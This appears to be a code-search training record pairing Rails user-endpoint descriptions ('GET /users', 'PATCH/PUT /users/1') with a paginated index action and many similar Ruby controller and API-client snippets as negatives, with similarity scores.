"def create\n\t\tnew_user = User.new(user_params)\n\t\tif new_user.save\n\t\t render status: 200, json: {\n\t\t \tstatus: 200,\n\t\t message:\"New User Created\",\n\t\t response: {\n\t\t name: new_user.name,\n\t\t email: new_user.email,\n\t\t id: new_user.id,\n\t\t facebook_id: new_user.facebook_id,\n\t\t device_id: new_user.device_id,\n\t\t authentication_token: new_user.authentication_token\n\t\t }\n\t\t \n\t\t }.to_json\n\t\telse\n\t\t render status: 404, json: {\n\t\t \tstatus: 404,\n\t\t errors: new_user.errors\n\t\t }.to_json\n\t\tend\n\tend",
"def create\n\t\tresp = {} \n user = User.create(user_params)\n \tif user.valid?\n if user.save\n return render :json => user.as_json\n end\n end\n render json: user.errors.full_messages \n\tend",
"def post_users_with_http_info(users, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.post_users ...'\n end\n # verify the required parameter 'users' is set\n if @api_client.config.client_side_validation && users.nil?\n fail ArgumentError, \"Missing the required parameter 'users' when calling UsersApi.post_users\"\n end\n # resource path\n local_var_path = '/users'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(users) \n\n # return_type\n return_type = opts[:return_type] || 'User' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#post_users\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_user(options = {})\n post \"/users\", options\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n user = User.new(user_params)\n\n if user.save\n\n render json: {status: 200, msg: 'User was created.'}\n\n else \n render json: {\n errors: user.errors.full_messages\n }, status: :unprocessable_entity\n\n end\n\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save \n format.html { redirect_to users_url, notice: \"User #{@user.name} was successfully created.\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(body)\n post 'create_user', body\n end",
"def create\n @user = User.new(user_params)\n @user.email = params[:email].downcase\n if @user.save\n render json: @user, status: 200\n else\n render json: { errors: @user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json:@user\n elsif @user.errors\n render json: {error: {code: 400, server_message: @user.errors}}, status: :bad_request\n else\n render json: {error: {code: 500, message: \"Could not save user\", server_message: @user.errors}}, status: :internal_server_error\n end\n\n end",
"def create\n user = User.new(user_params)\n\n if user.valid?\n user.save\n render json: {user: user, token: encode_token({user_id: user.id})}\n else\n render json: {error: \"Failed to create the user\"}\n end\n end",
"def create\n @user = User.new(user_params)\n @user.save\n respond_with @user\n end",
"def create\n @user = User.new(user_params)\n render json: @user && return if @user.save\n\n render json: { error: \"Unable to save user: #{@user.errors.messages}\" }, status: 400\n end",
"def create\n params[:user][\"_id\"] = params[:user][:name]\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(attributes)\n post(\"/v1/users\", attributes)\n end",
"def create\n user = User.new(user_params)\n\n # if user is saved sucessfully it will return user and ith status 201 for created\n if user.save\n render json:user,status: :created\n #if request is properly served but data is wrong it ll give ubprocessable_entity with code 422\n else\n render json: user.errors, status: :unprocessable_entity\n end \n end",
"def create\r\n @user = User.new(params[:user])\r\n\r\n respond_to do |format|\r\n if @user.save\r\n format.html { redirect_to users_path, notice: 'Os dados do usuário foram salvos com sucesso!' }\r\n format.json { render json: @user, status: :created, location: @user }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @user = User.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n birth_date: params[:birth_date],\n height: params[:height],\n weight: params[:weight],\n user_name: params[:user_name],\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n facebook_url: params[:facebook_url],\n twitter_url: params[:twitter_url],\n instagram_url: params[:instagram_url],\n address: params[:address],\n email: params[:email]\n ) \n if @user.save!\n render 'successful.json.jb', status: :created\n else\n render 'unsuccessful.json.jb', status: :bad_request\n end\n end",
"def post(hash)\n HttpClient::Preconditions.assert_class('hash', hash, Hash)\n @client.request(\"/users\").with_json(hash.to_json).post { |hash| Apidoc::Models::User.new(hash) }\n end",
"def create\n user = User.create!(user_params)\n session[:user_id] = user.id\n render json: user, status: :created\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: {message: \"user create successfuly\"}\n else\n render json: {message: \"Error\"}\n end \n end",
"def create\n # Insert new user in database\n user = User.new(user_params)\n\n if user.save\n # On success, send token information to authenticate user\n token = create_token(user.id, user.username)\n render json: {status: 200, token: token, user: user}\n # render json: @user, status: :created, location: @user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(params[:user])\n @user.status = 'active'\n\n respond_to do |format|\n if @user.save\n format.json { render :json => @user, :status => :created }\n format.html { redirect_to(users_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n respond_with(@user, location: users_url, notice: 'User was successfully created.')\n else\n respond_with(@user)\n end\n end",
"def create\n user = User.new(user_params)\n \n if user.save\n token = JsonWebToken.encode(user_id: user.id)\n render json: { auth_token: token, user: AuthUserSerializer.new(user).serializable_hash }, status: 201\n else \n render json: { errors: user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(params[:user])\n puts params[:user]\n respond_to do |format|\n if @user.save\n format.html { redirect_to :users, notice: 'Registration successful.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n user.username.downcase\n @token = issue_token(user)\n list = List.create(name: user.username)\n list.user_id = user.id\n user.save\n list.save\n render json: { user: UserSerializer.new(user), jwt: @token }, status: :created \n else \n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end \n end",
"def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_response = API::V1::Users.authenticate params.as_json\n if user_response.success?\n json = HashWithIndifferentAccess.new(user_response.parsed_response)\n auth_response = API::V1::Auth.issue json[:data]\n respond_with auth_response.body, auth_response.code\n else\n respond_with nil, :unauthorized\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :json => { :status => 0 }\n else\n render :json => { :status => 1, :msg => @user.errors}\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n auth_token = Knock::AuthToken.new payload: { sub: @user.id }\n render json: { username: @user.username, jwt: auth_token.token }, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n authorize :user, :create?\n @user = User.new(user_params)\n @user.save\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end",
"def post_accounts(json_hash)\n @options = {:path => '/users.json',\n :body => json_hash[:json]}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end",
"def create\n user = User.new(username: params[:username])\n if user.save\n payload = {'user_id': user.id}\n token = JWT.encode(payload, 'chatapp')\n render json: {\n user: user,\n token: token\n }\n else \n render json: { message: 'There was an error creating your account' }\n end\n end",
"def create\n user = User.create!(user_params)\n if user\n session[:user_id] = user.id\n render json: user, status: :created\n else\n render json: { errors: user.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"def create\r\n @user = User.new user_params\r\n\r\n if @user.save\r\n render json: @user, serializer: SessionSerializer, root: nil\r\n else\r\n render json: { errors: @user.errors }, status: :unprocessable_entity\r\n end\r\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: { status: 'OK', msg: 'User was created.', error: 'nil' },\n status: :created\n else\n not_good(422)\n end\n end"
] |
[
"0.77179813",
"0.75206673",
"0.73831296",
"0.72405374",
"0.719841",
"0.7140812",
"0.71038526",
"0.7058827",
"0.7041636",
"0.70236504",
"0.7003128",
"0.70021695",
"0.70021695",
"0.70021695",
"0.69936967",
"0.6990463",
"0.6980393",
"0.6979075",
"0.69788617",
"0.69788617",
"0.69762856",
"0.6962628",
"0.6952247",
"0.69454783",
"0.69454783",
"0.6920555",
"0.69181055",
"0.691467",
"0.6901315",
"0.6898759",
"0.689459",
"0.6889815",
"0.6880676",
"0.6880467",
"0.6880196",
"0.68797004",
"0.6877297",
"0.686924",
"0.6855058",
"0.6851115",
"0.6844058",
"0.6814104",
"0.6803589",
"0.6777842",
"0.6776859",
"0.67678535",
"0.6757897",
"0.67471397",
"0.6738628",
"0.6734963",
"0.6733872",
"0.6720612",
"0.6711659",
"0.6670256",
"0.66581875",
"0.66573423",
"0.6654514",
"0.6638977",
"0.66325235",
"0.66199607",
"0.6615226",
"0.66148156",
"0.65989614",
"0.65910506",
"0.65792614",
"0.6578957",
"0.6573529",
"0.6573351",
"0.6557221",
"0.6553408",
"0.6551572",
"0.65466446",
"0.6540912",
"0.65399504",
"0.6538697",
"0.6535891",
"0.6533581",
"0.6526114",
"0.65116656",
"0.65072525",
"0.6507116",
"0.6503024",
"0.6490388",
"0.6488653",
"0.64881754",
"0.6473845",
"0.64722794",
"0.64702916",
"0.64702916",
"0.6469406",
"0.64682525",
"0.6462379",
"0.64619774",
"0.646129",
"0.6455196",
"0.645272",
"0.6448271",
"0.6447503",
"0.64468706",
"0.64460355",
"0.6441883"
] |
0.0
|
-1
|
GET /users GET /users.json
|
def index
@users = User.paginate(page: params[:page])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def list_users\n self.class.get('/users')\n end",
"def users\n get('get_users')\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def users(params = {})\n params.merge!(key: 'users')\n objects_from_response(Code42::User, :get, 'user', params)\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def users(params = {})\n make_get_request('/account/users', params)\n end",
"def index\n users = User.all\n render json: users \n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n json_response(User.all) \n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def index\n users = User.all \n render json: users \n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @users.map(&:as_json) }\n\t\tend\n\tend",
"def list\n render json: User.all\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def index\n\n users = User.all \n render json: users\n\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html\n format.json { render json: @users }\n end\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n \t@users = User.all\n\n respond_to do |format| \n format.json { render json: @users }\n end\n end",
"def list\n get('users')['users']\n end",
"def index\n render ActiveModelSerializers::SerializableResource.new(@users,\n each_serializer: UserSerializer\n ).to_json, status: 200\n end",
"def index\n @users = User.all \n render json: @users, status: :ok \n end",
"def index\n @users = User.all\n logger.debug(\"user index\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n render json: User.all\n end",
"def index\n @users = User.order_by(last_name: :desc)\n if @users\n render json: Oj.dump(json_for(@users, include: ['phones', 'cards'], meta: meta), mode: :compat)\n else\n return head :unauthorized\n end\n end",
"def users(params = {})\n response = get('users/lookup.json', params)\n response.map {|user| Croudia::Object::User.new(user) }\n end",
"def index\n render json: User.all\n end",
"def index\n render json: User.all\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def list_users(user_id)\n self.class.get(\"/users/#{user_id}\")\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t format.html # index.html.erb\n\t\t format.json { render json: @users }\n\t\tend\n\tend",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def get_users\r\n # Prepare query url.\r\n _path_url = '/users'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| User.from_hash(element) }\r\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def index \n render json: User.all\n end",
"def index\n @myusers = Myuser.all\n\n render json: @myusers\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def query_users(options={}) path = \"/api/v2/users\"\n get(path, options, AvaTax::VERSION) end",
"def list\n response = @client.get(\"/users\")\n response[\"users\"].map {|u| User.new(@client, u) }\n end",
"def users\n\t\trespond_with User.all\n\tend",
"def index\n @users = User.all\n\n respond_with do |format|\n format.json do\n render json: @users,\n each_serializer: Api::UserSerializer,\n root: 'users'\n end\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end"
] |
[
"0.82109934",
"0.7873764",
"0.7860689",
"0.78108346",
"0.78067017",
"0.7678852",
"0.76586664",
"0.76318866",
"0.7582366",
"0.75291824",
"0.7487637",
"0.74485743",
"0.7439024",
"0.7437192",
"0.7427442",
"0.73978853",
"0.73978853",
"0.73978853",
"0.73978853",
"0.7377353",
"0.7372414",
"0.736885",
"0.7368531",
"0.7367068",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7351495",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.73463756",
"0.73426867",
"0.7331111",
"0.73231107",
"0.73227614",
"0.73126787",
"0.7295692",
"0.7274169",
"0.7265484",
"0.72624177",
"0.72607577",
"0.722517",
"0.72189873",
"0.71941674",
"0.71883225",
"0.7187108",
"0.71815044",
"0.717089",
"0.71695215",
"0.7156781",
"0.71546155",
"0.71546155",
"0.7140691",
"0.7135879",
"0.7134857",
"0.71316093",
"0.71315825",
"0.712011",
"0.7114429",
"0.7112858",
"0.7107888",
"0.7098051",
"0.70957917",
"0.70957917",
"0.7093039",
"0.70904744",
"0.70890427",
"0.70889443",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685"
] |
0.0
|
-1
|
PATCH/PUT /users/1 PATCH/PUT /users/1.json
|
def update
@user = User.find(params[:id])
respond_to do |format|
if @user.update_attributes(user_params)
format.html { flash[:success] = "Profile updated" }
#format.json { head :no_content }
redirect_to @user
else
format.html { render 'edit' }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"def update\n user = User.find(params[:id])\n\n # Use update with user_params to do a mass-assignment update and save. \n if user.update_attributes(user_params)\n render json: user\n else \n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n user = User.find_by(id: params[:id])\n user.update(user_params)\n render json: user\n end",
"def update\n \trespond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t \t\n end",
"def update\n user = find_user\n user.update!(user_params)\n render json: user\n end",
"def update\n if user.update(user_params)\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update_user(options)\n patch(\"/user\", options, 3)\n end",
"def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { render action: \"edit\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end",
"def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: {error: \"Could not update user\"}\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n render json:@user\n else\n render json: { error: {code: 404, message: 'Invalid user' }}, status: :not_found\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.save\n render json:@user\n end",
"def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end",
"def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: 200\n else\n render json: @user.errors, status: 422\n end\n end",
"def update\n begin\n user = User.find(params[:user_id])\n if user.update(user_params)\n render json: { users: user }, status: :ok\n else\n render json: { errors: user.errors.messages }, status: 422\n end\n rescue => e\n render json: { errors: e.message }, status: 404\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if user.update(user_params)\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes_from_api(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { render_for_api :user, :json => @user }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_org.users.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_user(user_id, body)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid body' if body.to_s.empty? || body.empty?\n path = \"#{users_path}/#{user_id}\"\n patch(path, body)\n end",
"def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n user = User.find(params[:id])\n render json: { status: 200, msg: 'User details have been updated.' } if user.update(user_params)\n end",
"def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
